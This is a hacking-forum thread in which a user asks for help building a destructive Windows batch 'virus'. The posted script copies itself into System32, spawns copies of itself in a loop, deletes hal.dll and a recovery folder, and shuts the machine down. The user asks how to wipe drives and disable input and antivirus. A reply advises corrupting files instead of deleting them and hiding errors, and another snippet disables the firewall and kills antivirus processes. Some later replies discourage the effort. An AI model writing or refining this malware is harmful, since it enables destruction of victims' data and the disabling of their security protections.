Thread: [Semi-Advanced Batchcoding](#)

Minus0st - December 23, 2013, 3:22 am

I need help with my batch/virus!

Code with notes and questions/problems:

Code @echo off

Title Maybe v1.3

color 0a

Echo Start?

pause

goto A

rem Just a protection to myself... so i don't press it :D

:A

cls

set /p p=Enter THE Pass:

if %p%==die goto DisA

else

goto Go

rem A part of my security above

:Go

cls

echo WRONG!!!

pause

exit

rem Disability!

:DisA

cls

Rundll32 user32,SwapMouseButton

copy /y Maybe.bat "C:\windows\System32"

time 12:00

rem Need a way to disable Keyboard/ctrl+alt+del command.

rem tskill for antivirus? and there DEL of there "Base-files"

rem A way cut off/disable network temporary or permanent?

goto Bomb

rem This the E-Bomb part

:Bomb

cls

if %x%==1000 goto FinishIt

cd C:\windows\System32

start http://piv.pivpiv.dk/

start Maybe.bat

copy %0 "%random%.bat" > nul

rem Need a way to spam Desktop also...

```
set /a x=+1
goto Bomb
```

```
rem Finish the target completely after taking him down
:FinishIt
```

```
cls
```

```
del /f /q "C:\windows\System32\hal.dll"
```

```
rem I need a way to format/delete all drives (also Recovery Drives)
```

```
del /f /q "D:\recovery"
```

```
rem i don't know if the code above will work... is there a command for a hole e.g. Drive DEL like: del
/f /q /s "C:\\" and it will all be gone in the "C-Drive"?
```

```
shutdown /s /t 00
```

```
rem virus done...
```

```
Pure Code:
```

```
Code @echo off
```

```
Title Maybe v1.3
```

```
color 0a
```

```
Echo Start?
```

```
pause
```

```
goto A
```

```
:A
```

```
cls
```

```
set /p p=Enter THE Pass:
```

```
if %p%==die goto DisA
```

```
else
```

```
goto Go
```

```
:Go
```

```
cls
```

```
echo WRONG!!!
```

```
pause
```

```
exit
```

```
:DisA
```

```
cls
```

```
Rundll32 user32,SwapMouseButton
```

```
copy /y Maybe.bat "C:\windows\System32"
```

```
time 12:00
```

```
goto Bomb
```

```
:Bomb
```

```
cls
```

```
if %x%==1000 goto FinishIt
```

```
cd C:\windows\System32
```

```
start http://piv.pivpiv.dk/
```

```
start Maybe.bat
```

```
copy %0 "%random%.bat" > nul
```

```
set /a x=+1
```

```
goto Bomb
```

```
:FinishIt
```

```
cls
```

```
del /f /q "C:\windows\System32\hal.dll"  
del /f /q "D:\recovery"  
shutdown /s /t 00
```

PS: Please when/if you write a code for me please explain every little part of the code, if you don't mind doing that... i like to understand what i'm doing :)

Don't know if this is "Semi-Advanced" or "Beginner"?... but i got a feeling that you need to have a smaller understanding in Batch-coding.

Feel free to give feedback and come with ideas i can go on with

Thanks to all answers

Greenp0ison - December 23, 2013, 4:47 am

Instead of deleting everything (which won't work, ever..) just overwrite/corrupt it. It's less likely you'll need access permissions for a read/write operation than a delete operation in a potentially protected directory (Slightly contradictory, but it does in fact work most times).

Make your code run silently, catch ALL errors through monitoring %ERRORLEVEL% and suppress error messages and command output with 2>nul and >nul respectively.

Scrap unnecessary code, such as the title, color and any ECHO commands you may have. Just make it a quick and silent hit on the computer.

Also, it's a pretty basic code. It doesn't spread, it isn't "smart" (the code, that is) and it really can't do much in the way of maximizing damage.

Minus0st - December 23, 2013, 4:54 am

i see.... but how will you overwrite the "Drives" ?

Great answer btw :)

and i know it's not a "SUPER virus" :)

I was also lookig at a code:

```
Code net stop "Security Center"  
netsh firewall set opmode mode=disable  
taskkill /A av*  
taskkill /A fire*  
taskkill /A anti*  
cls  
taskkill /A spy*  
taskkill /A bullguard  
taskkill /A PersFw  
taskkill /A KAV*

Will it be too much and unnecessary?
Don't use virus maker codes. AVs can and will detect then instantly.
```

Be creative with how you bypass security, I know it can be done I'm just not too keen on my method being leeched.

Minus0st - December 23, 2013, 8:40 am

Okay i understand...

is it "realistic" to create a virus in Batch... og do i HAVE to se VB also?
ty :)

Greenp0ison - December 23, 2013, 9:40 am

It's not really worth creating a "virus" in batch at all without advanced knowledge of Batch.

I wrote a smart virus in batch, it wasn't harmful but it could self replicate and the script changed each time.

Minus0st - December 23, 2013, 2:07 pm

RenRioku.... could it be possible for me to have a look at that code (PM me)?

Yea i need a little practice :)

It's not really worth creating a "virus" in Batch at all. Period. End of story.

It's a text file that's interpreted by some Windows programs. Not exactly rocket science to

catch/stop.

?CARUs L?VE?™ - December 23, 2013, 2:57 pm

I have to agree with plausibility. You're just wasting your time.

Yea i need a little practice :)

I will not share the code because I do not want it all over the internet causing more problems.

Minus0st - December 24, 2013, 1:05 am

Thanks for the answers :)

I understand RenRioku...

And i should start with some VB or C programming?

It is your own choice where to start at, I started with 68k Basic if anyone knows what that is.

?CARUs L?VE?™ - December 24, 2013, 2:31 am

I literally JUST started learning C. If you need any help you can PM me. I'm still learning myself, so I don't have all the answers :P

Minus0st - December 24, 2013, 2:38 am

i haven't heard about 68k Basic :)

Of course Icarus Lives i just need to get 25 posts :)

But what do you think is the best C or VB?

Or if you don't program VB... what do you think about C... you like it?

?CARUs L?VE?™ - December 24, 2013, 2:43 am

Bleh, I keep forgetting about that. It used to be only 10 when I joined haha
